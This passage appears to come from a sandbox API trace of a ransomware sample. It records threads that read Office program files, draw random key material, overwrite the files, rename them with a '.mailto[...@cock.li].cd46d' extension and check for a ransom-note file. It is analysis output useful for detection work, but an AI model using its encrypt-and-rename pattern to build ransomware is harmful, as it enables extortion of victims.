(normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0051.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man", dwFileAttributes=0x20) returned 1 [0054.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf54 [0054.808] GetFileSizeEx (in: hFile=0xf54, lpFileSize=0xdc4fc04 | out: lpFileSize=0xdc4fc04*=36177) returned 1 [0054.808] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x8d4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.810] ReadFile (in: hFile=0xf54, lpBuffer=0xdc4fb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdc4fb84, lpOverlapped=0x0 | out: lpBuffer=0xdc4fb88*, lpNumberOfBytesRead=0xdc4fb84*=0x4, lpOverlapped=0x0) returned 1 [0054.812] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0054.812] NtQuerySystemTime (in: CurrentTime=0xdc4fb64 | out: CurrentTime=0xdc4fb64*=132174898187952000) returned 0x0 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x29e7f624 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x66b3b4db [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x6e639e4e [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x44c4442 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0xd0467f5 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x38701509 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2a0c90c1 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x4de8ed38 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x168cb7b8 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x66f00b5b [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x3ae863a0 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2a22814c [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x6cd5f583 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2471a3f8 [0054.812] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x571b48ad [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x55ca2ce8 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0xcd93ec8 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x1e21890 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2608dc66 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x56c6666b [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x407a64d3 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x27b67095 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2792d15a [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x135243aa [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x6e86fc6b [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x741da754 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x1245e549 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x6136cc61 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x81e851a [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x24373dcd [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x27af4be2 [0054.813] RtlRandomEx (in: Seed=0xdc4fb70 | out: Seed=0xdc4fb70) returned 0x2898a89a [0054.826] ReadFile (in: hFile=0xf54, lpBuffer=0x973a830, nNumberOfBytesToRead=0x8d51, lpNumberOfBytesRead=0xdc4fb60, lpOverlapped=0x0 | out: lpBuffer=0x973a830*, lpNumberOfBytesRead=0xdc4fb60*=0x8d51, lpOverlapped=0x0) returned 1 [0054.828] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.828] WriteFile (in: hFile=0xf54, lpBuffer=0x9747038*, nNumberOfBytesToWrite=0x8d51, lpNumberOfBytesWritten=0xdc4fb5c, lpOverlapped=0x0 | out: lpBuffer=0x9747038*, lpNumberOfBytesWritten=0xdc4fb5c*=0x8d51, lpOverlapped=0x0) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0054.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0054.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9747038) returned 1 [0054.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x973a830) returned 1 [0054.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0054.830] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4088c0 [0054.830] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.830] WriteFile (in: hFile=0xf54, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xdc4fbc4, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0xdc4fbc4*=0x10b, lpOverlapped=0x0) returned 1 [0054.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0054.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0054.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0054.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0054.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0054.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0054.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600a8) returned 1 [0054.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4daa0 [0054.832] wcscpy (in: _Dest=0x12f4daa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" [0054.832] wcscat (in: _Dest=0x12f4daa0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d" [0054.832] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xdc4fb7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d898 [0054.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0054.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b2c50) returned 1 [0054.834] NtQueryInformationFile (in: FileHandle=0xf54, IoStatusBlock=0xdc4fb88, FileInformation=0xdc4fb60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdc4fb88, FileInformation=0xdc4fb60) returned 0x0 [0054.834] NtSetInformationFile (FileHandle=0xf54, IoStatusBlock=0xdc4fb88, FileInformation=0xdc4fb60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0054.835] FlushFileBuffers (hFile=0xf54) returned 1 [0054.836] CloseHandle (hObject=0xf54) returned 1 [0054.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0054.837] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0054.837] wcscat (in: _Dest=0x446dd0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" [0054.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt")) returned 0x20 [0054.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 [0054.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3fff18) returned 1 Thread: id = 555 os_tid = 0xf9c [0049.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd")) returned 0x20 [0051.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd", dwFileAttributes=0x20) returned 1 [0054.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf58 [0054.829] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0xdbffb98 | out: lpFileSize=0xdbffb98*=26027) returned 1 [0054.829] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x65a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.836] ReadFile (in: hFile=0xf58, lpBuffer=0xdbffb1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdbffb18, lpOverlapped=0x0 | out: lpBuffer=0xdbffb1c*, lpNumberOfBytesRead=0xdbffb18*=0x4, lpOverlapped=0x0) returned 1 [0054.840] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600a8 [0054.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.840] NtQuerySystemTime (in: CurrentTime=0xdbffaf8 | out: CurrentTime=0xdbffaf8*=132174898188264000) returned 0x0 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x58c07328 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x622bd97 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x1ac93ef7 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x796be9a [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x6b64daf4 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x18b995b2 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x6135674a [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x267bb85c [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x739f7052 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x64f2aa05 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x5be83f2a [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x51eff60c [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x5b73fdc7 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x7a84adaf [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x33c86e41 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0xb1dd22c [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x36da04e1 [0054.840] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x40f49927 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x650be8e7 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x6312c957 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x42f3793c [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x75c44d8a [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0xe1e1b11 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x6a2ab69c [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x349558cd [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0xd2618ac [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0xfebd6ae [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x5ebbabdb [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x311f8b98 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x38909efc [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x1b6ef692 [0054.841] RtlRandomEx (in: Seed=0xdbffb04 | out: Seed=0xdbffb04) returned 0x3736698e [0054.853] ReadFile (in: hFile=0xf58, lpBuffer=0x973a830, nNumberOfBytesToRead=0x65ab, lpNumberOfBytesRead=0xdbffaf4, lpOverlapped=0x0 | out: lpBuffer=0x973a830*, lpNumberOfBytesRead=0xdbffaf4*=0x65ab, lpOverlapped=0x0) returned 1 [0054.854] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.854] WriteFile (in: hFile=0xf58, lpBuffer=0x9747038*, nNumberOfBytesToWrite=0x65ab, lpNumberOfBytesWritten=0xdbffaf0, lpOverlapped=0x0 | out: lpBuffer=0x9747038*, lpNumberOfBytesWritten=0xdbffaf0*=0x65ab, lpOverlapped=0x0) returned 1 [0055.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0055.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4415f0 [0055.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415f0) returned 1 [0055.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9747038) returned 1 [0055.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x973a830) returned 1 [0055.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0055.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0055.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40aaa0 [0055.945] SetFilePointerEx (in: hFile=0xf58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.945] WriteFile (in: hFile=0xf58, lpBuffer=0x95d0d00*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xdbffb58, lpOverlapped=0x0 | out: lpBuffer=0x95d0d00*, lpNumberOfBytesWritten=0xdbffb58*=0x10f, lpOverlapped=0x0) returned 1 [0062.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0d00) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abb8) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415f0) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aaa0) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4414b0) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0063.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0063.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.268] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" [0063.268] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d" [0063.268] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xdbffb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4380 [0063.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.270] NtQueryInformationFile (in: FileHandle=0xf58, IoStatusBlock=0xdbffb1c, FileInformation=0xdbffaf4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdbffb1c, FileInformation=0xdbffaf4) returned 0x0 [0063.270] NtSetInformationFile (FileHandle=0xf58, IoStatusBlock=0xdbffb1c, FileInformation=0xdbffaf4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.271] FlushFileBuffers (hFile=0xf58) returned 1 [0066.216] CloseHandle (hObject=0xf58) Thread: id = 556 os_tid = 0xfa0 [0049.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd")) returned 0x20 [0051.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd", dwFileAttributes=0x20) returned 1 [0054.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf4c [0054.737] GetFileSizeEx (in: hFile=0xf4c, lpFileSize=0xdd3fba8 | out: lpFileSize=0xdd3fba8*=13089) returned 1 [0054.737] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x331d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.737] ReadFile (in: hFile=0xf4c, lpBuffer=0xdd3fb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xdd3fb28, lpOverlapped=0x0 | out: lpBuffer=0xdd3fb2c*, lpNumberOfBytesRead=0xdd3fb28*=0x4, lpOverlapped=0x0) returned 1 [0054.767] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffb8 [0054.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.767] NtQuerySystemTime (in: CurrentTime=0xdd3fb08 | out: CurrentTime=0xdd3fb08*=132174898187484000) returned 0x0 [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x762c1439 [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x809ff1c [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x2bbb3975 [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x6289342f [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x352c1544 [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x642384a3 [0054.767] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x2f9d141e [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x7189fc31 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x776a3bae [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x6ddaa3ee [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x476a681d [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x7547be96 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x654162a7 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x15b0b088 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x3628ea02 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x61670ff7 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x7580ac3f [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x57877081 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x65858617 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x58f4bc7e [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x4dc6d20b [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x5be51085 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x7040f249 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x4b4d0946 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x74dae6a1 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x2224dd42 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x5d4d204 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x587a16a5 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x118eab25 [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x4670398e [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x57f1846d [0054.768] RtlRandomEx (in: Seed=0xdd3fb14 | out: Seed=0xdd3fb14) returned 0x28327302 [0054.781] ReadFile (in: hFile=0xf4c, lpBuffer=0x9721820, nNumberOfBytesToRead=0x3321, lpNumberOfBytesRead=0xdd3fb04, lpOverlapped=0x0 | out: lpBuffer=0x9721820*, lpNumberOfBytesRead=0xdd3fb04*=0x3321, lpOverlapped=0x0) returned 1 [0054.782] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.782] WriteFile (in: hFile=0xf4c, lpBuffer=0x972e028*, nNumberOfBytesToWrite=0x3321, lpNumberOfBytesWritten=0xdd3fb00, lpOverlapped=0x0 | out: lpBuffer=0x972e028*, lpNumberOfBytesWritten=0xdd3fb00*=0x3321, lpOverlapped=0x0) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffb8 [0054.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e028) returned 1 [0054.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0054.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.784] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.784] 